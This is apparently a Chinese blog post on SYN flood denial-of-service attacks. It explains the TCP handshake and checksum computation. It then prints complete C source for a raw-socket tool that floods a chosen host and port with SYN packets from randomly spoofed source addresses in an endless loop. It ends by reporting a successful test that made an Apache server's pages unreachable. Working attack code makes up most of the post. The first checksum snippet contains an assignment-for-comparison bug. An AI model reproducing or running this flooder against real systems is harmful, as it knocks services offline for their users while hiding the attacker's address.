DOS(Denial of Service)攻击, 即:拒绝服务攻击.
本文将使用SYNflood,对一台apache服务器进行攻击测试.
一 SYNflood攻击原理(Synchronize Sequence Numbers flood)
建立TCP连接时,会有3次握手过程. 具体过程如下:
1. 客户端 发送SYN(seq=i ack=0)包到服务器, 并进入SYN_SEND状态, 等待服务器确认.
2. 服务器 收到SYN, 发送SYN+ACK(seq=j ack=i+1)包到客户端, 并进入SYN_RECV状态.
3. 客户端收到 SYN+ACK包, 发送SYN+ACK(seq=ack ack=seq+1)包到服务器.
服务器收到包后, 客户端和服务器进入ESTABLISHED状态, 完成三次握手. TCP连接建立.
SYNflood针对三次握手的1/2步进行攻击.
1. 伪造客户端, 向服务器发送SYN包.
2. 服务器回应SYN+ACK包.
此时, 服务器会在延迟时间内等待客户端的SYN+ACK包. 但由于客户端系伪造, 服务器端将得不到回应包, 直到连接超时. 如果SYNflood包足够多, 就会挤占大量服务器资源. 造成服务器停止服务, 还可能造成服务器运行速度变慢。
二 两个要点
1) sendto()
-
ssize_t sendto( int sockfd, \
-
const void *buf, \
-
size_t len, \
-
int flags, \
-
const struct sockaddr *dest_addr, \
-
socklen_t addrlen);
2) 检验和
校验和的计算在SYNflood中相当重要, 否则服务器会直接丢弃伪造包, 并不会占用资源等待确认包. 这种情况下, 虽然同样会对服务器带来较大影响(打开纯文本网页用时15秒, 服务器明显变慢, 鼠标变卡), 但是对本机发包效率也有相当高的要求, 但明显不是我们期望的以小博大的结果.
网上资料对于检验和的计算大都语焉不详, 我将在下一章结合代码, 详细介绍TCP/UDP检验和计算方法.
-
u_int16_t check_sum(u_int16_t *buffer, int size)
-
{
-
register int len = size;
-
register u_int16_t *p = buffer;
-
register u_int32_t cs = 0;
-
-
while( len >= 2)
-
{
-
cs += *(p++);
-
len -= 2;
-
}
-
-
if( len = 1)
-
{
-
cs += *((u_int8_t *)buffer);
-
}
-
-
while( (cs&0xffff0000) != 0)
-
cs = (cs>>16) + (cs&0xffff);
-
-
return (u_int16_t)(~cs);
-
}
三 SYN flood 代码
-
/******************** DOS.c *****************/
-
/* author : zhonghaohua */
-
/********************************************/
-
-
#include <errno.h>
-
#include <stdio.h>
-
#include <stdlib.h>
-
#include <string.h>
-
-
#include <netdb.h>
-
-
#include <sys/socket.h>
-
-
#include <netinet/in.h>
-
#include <netinet/ip.h>
-
#include <netinet/tcp.h>
-
-
#define LOCALPORT 708
-
-
unsigned short check_sum( unsigned short *addr,int len);
-
-
int main( int argc, char *argv[])
-
{
-
if( argc != 3)
-
{
-
printf( "argument error!\n");
-
exit(1);
-
}
-
-
int opt = 1;
-
int sockfd;
-
struct sockaddr_in addr;
-
struct hostent *host;
-
-
//initialize socket
-
memset( &addr, 0x0, sizeof(struct sockaddr_in));
-
addr.sin_family = AF_INET;
-
addr.sin_port = htons( atoi( argv[2]));
-
if( inet_aton( argv[1], &addr.sin_addr) == 0)
-
{
-
host = gethostbyname( argv[1]);
-
if( host == NULL)
-
{
-
printf( "%s", hstrerror(h_errno));
-
exit(1);
-
}
-
addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
-
}
-
-
sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_TCP);
-
if( sockfd < 0)
-
{
-
printf( "%s", strerror(errno));
-
exit(1);
-
}
-
-
setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt));
-
-
//构造无内容, 只有包头的数据.
-
unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)];
-
struct ip *ip;
-
struct tcphdr *tcp;
-
-
int len = sizeof(buffer);
-
-
memset( buffer, 0x0, sizeof(buffer));
-
ip = (struct ip *)buffer;
-
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
-
-
tcp->source = htons(LOCALPORT); //local port.
-
tcp->dest = addr.sin_port; //struct sockaddr addr
-
tcp->seq = random();
-
tcp->ack_seq = 0;
-
tcp->doff = 5;
-
tcp->syn = 1;
-
-
ip->ip_v = IPVERSION;
-
ip->ip_hl = sizeof(struct ip)>>2;
-
ip->ip_tos = 0;
-
ip->ip_len = htons(len);
-
ip->ip_id = 0;
-
ip->ip_off = 0;
-
-
//既是ip首部, 同样作为tcp校验和所用的伪首部, 屏蔽的字段是每次计算校验和都要重置的内容.
-
//ip->ip_ttl = MAXTTL; //u_int8_t
-
ip->ip_p = IPPROTO_TCP; //u_int8_t
-
//ip->ip_sum = 0; //u_int16_t
-
//ip->ip_src.s_addr //u_int32_t
-
ip->ip_dst = addr.sin_addr; //u_int32_t
-
-
while(1)
-
{
-
ip->ip_ttl = 0;
-
-
//ip首部的校验和字段, 作为tcp校验和伪首部时, 存放tcp长度
-
ip->ip_sum = htons(sizeof(struct tcphdr));
-
ip->ip_src.s_addr = random();
-
-
tcp->check = 0;
-
-
//计算tcp校验和时, 避开ip首部其它字段, 仅对伪首部和tcp计算校验和
-
tcp->check = check_sum((u_int16_t *)buffer + 4, sizeof(buffer) - 8);
-
-
ip->ip_ttl = MAXTTL;
-
-
sendto( sockfd, buffer, len, 0, (struct sockaddr *)(&addr), sizeof(struct sockaddr_in));
-
}
-
}
四 测试环境及结果
SYNflood: Linux 2.6.16
apache: windows xp sp3
程序开始运行后, 网页所有页面无法打开, 服务器鼠标移动变卡. 测试成功.
抓包结果如下:
阅读(5047) | 评论(0) | 转发(0) |